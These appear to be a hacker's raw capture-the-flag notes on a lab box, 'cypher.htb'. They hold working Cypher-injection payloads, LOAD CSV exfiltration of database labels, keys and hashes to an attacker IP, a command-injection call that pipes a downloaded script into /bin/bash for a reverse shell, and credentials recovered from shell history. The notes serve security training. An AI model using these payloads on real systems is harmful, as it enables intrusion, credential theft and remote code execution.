User
Theres login page but I have no creds
This is interesting
307 GET 0l 0w 0c http://cypher.htb/api/ => http://cypher.htb/api/api
auths user at this endpoint form action=“/api/auth” method=“POST”>
view source here ⇐ using neo4j database view-source:http://cypher.htb/login
The script
<script> // TODO: don't store user accounts in neo4j function doLogin(e) { e.preventDefault(); var username = $("#usernamefield").val(); var password = $("#passwordfield").val(); $.ajax({ url: '/api/auth', type: 'POST', contentType: 'application/json', data: JSON.stringify({ username: username, password: password }), success: function (r) { window.location.replace("/demo"); }, error: function (r) { if (r.status == 401) { notify("Access denied"); } else { notify(r.responseText); } } }); }neo4j injection⇐=!!!!!
Check these out
307 GET 0l 0w 0c http://cypher.htb/api => http://cypher.htb/api/docs
301 GET 7l 12w 178c http://cypher.htb/testing => http://cypher.htb/testing/
200 GET 17l 139w 9977c http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
200 GET 5632l 33572w 2776750c http://cypher.htb/us.png
TODO :
- cypher injection
- check out endpoints api looks interesting
- ferox fuzzing → /api endpoint?
- fuzz subdomains ← none found
- check out cookies, inspect around more/ network requests
Neo4j is using APOC (awesome procedure calls)
==⇒ its using a custom function for some functionality that I would be able to call using cypher !!!!
neo4j ver <neo4j.version>5.23.0</neo4j.version>
maven ver
maven plug in ver
this is the custom function being used!!! → its taking user input
public Stream getUrlStatusCode(CustomFunctions this, String url) throws java.lang.Exception
function calls → /bin/bash -c user_input !!!!
this is the other custom function → prints “hello, {user_input}” /* Flags: ACC_PUBLIC
public Stream helloWorld(String name) */
→ rev shell!!!!!!
need to do a cipher injection call the custom function, then bypass the input filters on the java code and execute /bin/bash -c reverse shell
com.cypher.neo4j.helloWorld()
com.cypher.neo4j.getUrlStatusCode()
scalar function
MATCH (n:Member) RETURN org.neo4j.function.example.join(collect(n.name)) AS members
aggregation function MATCH (n:Member) RETURN org.neo4j.function.example.longestString(n.name) AS member
Error dumps the query statement
Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Variable `c` not defined (line 1, column 79 (offset: 78)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'Spongebob' or 1=1 RETURN c//' return h.value as hash" ^} During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/app/app.py", line 165, in login creds_valid = verify_creds(username, password) File "/app/app.py", line 151, in verify_creds raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}") ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'Spongebob' or 1=1 RETURN c//' return h.value as hash: Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Variable `c` not defined (line 1, column 79 (offset: 78)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'Spongebob' or 1=1 RETURN c//' return h.value as hash" ^}[](http://cypher.htb/login#)
This is
“MATCH (u:USER) -[:SECRET]→ (h:SHA1) WHERE u.name = ‘Spongebob’ or 1=1 RETURN c//’ return h.value as hash”
MATCH (u:USER) -[:SECRET]→ (h:SHA1) WHERE u.name = ‘admin’ return h.value as hash
unkown function error
admin’ RETURN com.cypher.neo4j.getUrlStatusCode(“this is a test”) AS hash//
admin’ RETURN SHOW FUNCTIONS YIELD name, signature, description, isBuiltIn WHERE isBuiltIn = false RETURN name, signature, description//
SHOW FUNCTIONS EXECUTABLE BY CURRENT USER YIELD *
admin' RETURN 1 AS h UNION CALL db.labels() YIELD label AS h//MATCH (u:USER)-[:SECRET]→(h:SHA1) WHERE u.name = ” OR 1=1 WITH 1 AS dummy CALL { SHOW FUNCTIONS YIELD name, isBuiltIn WHERE isBuiltIn = false RETURN name } RETURN dummy // ’ RETURN h.value AS hash
admin’ OR 1=1 WITH 1 AS dummy CALL { SHOW FUNCTIONS YIELD name, isBuiltIn WHERE isBuiltIn = false RETURN name } RETURN dummy //
take a look at this
https://hackmd.io/@Chivato/rkAN7Q9NY
admin’ OR 1=1 RETURN 1 AS dummy // SHOW FUNCTIONS YIELD name, isBuiltIn WHERE isBuiltIn = false RETURN name //’
admin’ OR 1=1 RETURN 1 AS dummy // SHOW FUNCTIONS YIELD name, isBuiltIn WHERE isBuiltIn = false RETURN LOAD CSV FROM ‘http://10.10.14.23:8000/‘+name//’
MATCH (n) WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://6z6kk6h009jysbrl8ahw89ji99f03p.burpcollaborator.net/'+d AS y RETURN y
admin’ OR 1=1 WITH 1 AS dummy CALL {MATCH(n) WITH l337 as x CALL db.labels() YIELD label AS d LOAD CSV FROM} RETURN dummy//
base payload (fill in inside call) admin’ OR 1=1 WITH 1 AS dummy CALL {} RETURN dummy//
admin’ OR 1=1 RETURN com.cypher.neo4j.apoc.helloWorld() AS h//
HelloWorldProcedure
com.cypher.neo4j.apoc.HelloWorldProcedure() com.cypher.neo4j.apoc.helloWorld()
com.cypher.neo4j.apoc.CustomFunctions() com.cypher.neo4j.apoc.getUrlStatusCode()
CALL db.labels()
admin' OR 1=1 WITH 1 AS dummy CALL {db.labels()} RETURN dummy//HelloWorldProcedure$HelloWorldOutput
admin’ OR 1=1 WITH 1 as dummy CALL{CREATE (n:Account) SET n.id=1, n.username=“admin”,n.admin=False,n.password=“admin” RETURN n} RETURN dummy//
read only {message: No write operations are allowed on this database. The database is in read-only mode on this Neo4j instance.}
CALL apoc.custom.list
THIS WORKED !!!!!!!!!!!
admin’ OR 1=1 WITH 1 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM ‘http://10.10.14.23:8000/?label=’ + d AS y RETURN x AS hash//
MATCH (u:USER) -[:SECRET]→ (h:SHA1) WHERE u.name = ‘admin’ return h.value as hash
these are “tables” ^[i10.10.11.57 - - [28/Jun/2025 20:05:04] “GET /?label=USER HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:05:04] “GET /?label=HASH HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:05:05] “GET /?label=DNS_NAME HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:05:05] “GET /?label=SHA1 HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:05:05] “GET /?label=SCAN HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:05:06] “GET /?label=ORG_STUB HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:05:06] “GET /?label=IP_ADDRESS HTTP/1.1” 200 -
holly, a user and a hash 10.10.11.57 - - [28/Jun/2025 20:10:14] “GET /?u=graphasm HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:11:16] “GET /?name=graphasm HTTP/1.1” 200 - 10.10.11.57 - - [28/Jun/2025 20:16:11] “GET /?hash=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1” 200 -
got hash like this admin’ OR 1=1 WITH 1 AS x MATCH (h:SHA1) LOAD CSV FROM ‘http://10.10.14.23:8000/?hash=’ + h.value AS r RETURN x AS hash//
got hash like this another attempt admin’ OR 1=1 WITH 1 AS x MATCH (h:HASH) LOAD CSV FROM ‘http://10.10.14.23:8000/?hash=’ + h AS r RETURN x AS hash//
/?user=9f54ca4c130be6d529a56dee59dc2b2090e43acf
this worked to return keys of each node admin’ OR 1=1 WITH 1 AS x MATCH (h:SHA1) UNWIND keys(h) AS k LOAD CSV FROM ‘http://10.10.14.23:8000/?key=’ + k AS r RETURN x AS hash//
Enumeration
*key for sha1*
10.10.11.57 - - [30/Jun/2025 02:55:39] "GET /?key=value HTTP/1.1" 200 -
*key for user*
10.10.11.57 - - [30/Jun/2025 02:56:53] "GET /?key=name HTTP/1.1" 200 -
*key for DNS_NAME*
10.10.11.57 - - [30/Jun/2025 02:57:38] "GET /?key=resolved_hosts HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:39] "GET /?key=host HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:39] "GET /?key=module_sequence HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:39] "GET /?key=discovery_path HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:39] "GET /?key=timestamp HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:40] "GET /?key=parent_uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:40] "GET /?key=web_spider_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:40] "GET /?key=tags HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:41] "GET /?key=scope_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:41] "GET /?key=id HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:41] "GET /?key=uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:41] "GET /?key=module HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:42] "GET /?key=type HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:42] "GET /?key=parent_chain HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:42] "GET /?key=scope_description HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:42] "GET /?key=scan HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:43] "GET /?key=data HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:43] "GET /?key=parent HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:43] "GET /?key=discovery_context HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:44] "GET /?key=host HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:44] "GET /?key=id HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:44] "GET /?key=discovery_path HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:45] "GET /?key=timestamp HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:45] "GET /?key=resolved_hosts HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:45] "GET /?key=parent_uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:45] "GET /?key=web_spider_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:45] "GET /?key=tags HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:46] "GET /?key=scope_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:46] "GET /?key=module_sequence HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:46] "GET /?key=uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:47] "GET /?key=module HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:47] "GET /?key=scan HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:47] "GET /?key=type HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:48] "GET /?key=discovery_context HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:48] "GET /?key=parent_chain HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:50] "GET /?key=scope_description HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:51] "GET /?key=data HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:51] "GET /?key=parent HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:51] "GET /?key=host HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:51] "GET /?key=id HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:52] "GET /?key=discovery_path HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:52] "GET /?key=timestamp HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:52] "GET /?key=resolved_hosts HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:52] "GET /?key=parent_uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 02:57:53] "GET /?key=web_spider_distance HTTP/1.1" 200 -
*SCAN KEYS*
10.10.11.57 - - [30/Jun/2025 03:02:47] "GET /?key=parent_uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:47] "GET /?key=scope_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:48] "GET /?key=uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:48] "GET /?key=scan HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:48] "GET /?key=type HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:49] "GET /?key=web_spider_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:49] "GET /?key=tags HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:49] "GET /?key=scope_description HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:49] "GET /?key=module HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:50] "GET /?key=timestamp HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:50] "GET /?key=parent HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:50] "GET /?key=discovery_context HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:51] "GET /?key=parent_chain HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:51] "GET /?key=module_sequence HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:51] "GET /?key=id HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:02:51] "GET /?key=discovery_path HTTP/1.1" 200 -
*ORG_STUB KEYS*
10.10.11.57 - - [30/Jun/2025 03:03:48] "GET /?key=discovery_path HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:48] "GET /?key=timestamp HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:49] "GET /?key=parent_uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:49] "GET /?key=scope_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:49] "GET /?key=module_sequence HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:49] "GET /?key=id HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:50] "GET /?key=uuid HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:50] "GET /?key=type HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:50] "GET /?key=web_spider_distance HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:51] "GET /?key=tags HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:51] "GET /?key=scope_description HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:51] "GET /?key=module HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:51] "GET /?key=discovery_context HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:52] "GET /?key=data HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:52] "GET /?key=parent HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:52] "GET /?key=parent_chain HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:03:53] "GET /?key=scan HTTP/1.1" 200 -
10.10.11.57 - - [30/Jun/2025 03:06:40] "GET /?hash=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1" 200 -
THERE IS SOMETHING HERE! 422 GET 1l 2w 91c http://cypher.htb/api/cypher → this is very interesting migth be able to pass in cypher queries here → different db context???? maybe?????
I must be on the wrong database context!!! ← bc apoc is not available here even though it is defined in the file
I can query the database here FUCKING HUGE!!! GET /api/cypher?query=test HTTP/1.1
SHOW DATABASE (there are 2 databases here) ⇐=
[{“name”:“neo4j”,“type”:“standard”,“aliases”:[],“access”:“read-only”,“address”:“localhost:7687”,“role”:“primary”,“writer”:true,“requestedStatus”:“online”,“currentStatus”:“online”,“statusMessage”:"",“default”:true,“home”:true,“constituents”:[]},{“name”:“system”,“type”:“system”,“aliases”:[],“access”:“read-write”,“address”:“localhost:7687”,“role”:“primary”,“writer”:true,“requestedStatus”:“online”,“currentStatus”:“online”,“statusMessage”:"",“default”:false,“home”:false,“constituents”:[]}]
*SHOW+PROCEDURES * look what i just found
{“name”:“custom.getUrlStatusCode”,“description”:“Returns the HTTP status code for the given URL as a string”,“mode”:“READ”,“worksOnSystem”:false},
{“name”:“custom.helloWorld”,“description”:“A simple hello world procedure”,“mode”:“READ”,“worksOnSystem”:false},{
and it works I can call it GET /api/cypher?query=CALL+custom.helloWorld(“helloo”)
name”:“custom.getUrlStatusCode” description”:“Returns the HTTP status code for the given URL as a string”,
this is doing request back to me (no input sanitization apparently now I need shell) GET /api/cypher?query=CALL+custom.getUrlStatusCode(“wget+10.10.14.23:7777”) HTTP/1.1
SHELL
Yes I GOT SHELL GET /api/cypher?query=CALL+custom.getUrlStatusCode(“wget+10.10.14.23:7777/props.sh+|+/bin/bash”) HTTP/1.1
cat .bash_history neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config: modules: neo4j: username: neo4j password: cU4btyib.20xtCMCXkBmerhK $
neo4j:SHA-256,6a4277a4653a8536cff2d6f44fc698621e237d33a0fa36a57c55fb3bfead7b48,3d19d683dc15384a6cae9dc840740e93116cae7b0786b9dfee4dbbacbc13a65c,1024:
SYSTEM database could be something interesting I don’t know whats on it the neo4j is the one already enumerated
neo4j version Version: 5.24.1 Edition: Community
"package_or_url": "bbot",
"package_version": "2.1.0.4939rc0",
"pip_args": [
this is the bbot being used here
https://github.com/blacklanternsecurity/bbot
neo4j
neo4j:
uri: bolt://localhost:7687
GOT USER
this is the pass for graphasm ⇐= cU4btyib.20xtCMCXkBmerhK
neo4j:
username: neo4j
password: bbotislife
containernerd is on the machine so there are definitely things running on containers here
port 8000 is running the container app
root 1755 0.1 0.6 98068 26012 ? Ssl Jun30 1:22 _ /usr/local/bin/python3.9 /usr/local/bin/uvicorn app:app —reload —host 0.0.0.0 —port 8000 —root-path /api
redoc
ReDoc Version: 2.0.0-rc.75
Commit: d7440fb
priv esc
(redoc is running as root) ⇒ CVE-2024-57083
there is a cve here that i can use for RCE
but how tf i do this
this is where the error is http://localhost:8000/redoc
also there is a script is loading. can I supply this .json file for it??? Failed to load http://localhost:8000/api/openapi.json: 404 Not Found
root
was actually rlly easy sudo -l bbot can run as sudo